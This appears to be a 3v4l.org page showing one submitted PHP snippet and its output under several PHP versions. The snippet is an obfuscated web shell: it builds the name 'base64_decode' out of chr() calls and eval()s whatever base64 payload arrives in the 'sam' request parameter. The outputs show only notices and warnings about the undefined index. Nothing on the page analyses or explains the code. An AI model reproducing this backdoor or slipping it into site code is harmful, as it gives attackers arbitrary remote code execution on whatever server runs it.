3v4l.org

run code in 200+ php & hhvm versions
Bugs & Features
<script language='php'> $a=chr(98).chr(97).chr(115).chr(101).chr(54).chr(52).chr(95).chr(100).chr(101).chr(99).chr(111).chr(100).chr(101); eval($a($_REQUEST[sam]));die();</script><?php $a=chr(98).chr(97).chr(115).chr(101).chr(54).chr(52).chr(95).chr(100).chr(101).chr(99).chr(111).chr(100).chr(101); eval($a($_REQUEST[sam]));die();
based on AWS26
Output for 7.2.0
<script language='php'> $a=chr(98).chr(97).chr(115).chr(101).chr(54).chr(52).chr(95).chr(100).chr(101).chr(99).chr(111).chr(100).chr(101); eval($a($_REQUEST[sam]));die();</script> Warning: Use of undefined constant sam - assumed 'sam' (this will throw an Error in a future version of PHP) in /in/NqsXZ on line 1 Notice: Undefined index: sam in /in/NqsXZ on line 1
Output for 7.0.0 - 7.1.10
<script language='php'> $a=chr(98).chr(97).chr(115).chr(101).chr(54).chr(52).chr(95).chr(100).chr(101).chr(99).chr(111).chr(100).chr(101); eval($a($_REQUEST[sam]));die();</script> Notice: Use of undefined constant sam - assumed 'sam' in /in/NqsXZ on line 1 Notice: Undefined index: sam in /in/NqsXZ on line 1
Output for 5.3.20 - 5.6.28
Notice: Use of undefined constant sam - assumed 'sam' in /in/NqsXZ on line 1 Notice: Undefined index: sam in /in/NqsXZ on line 1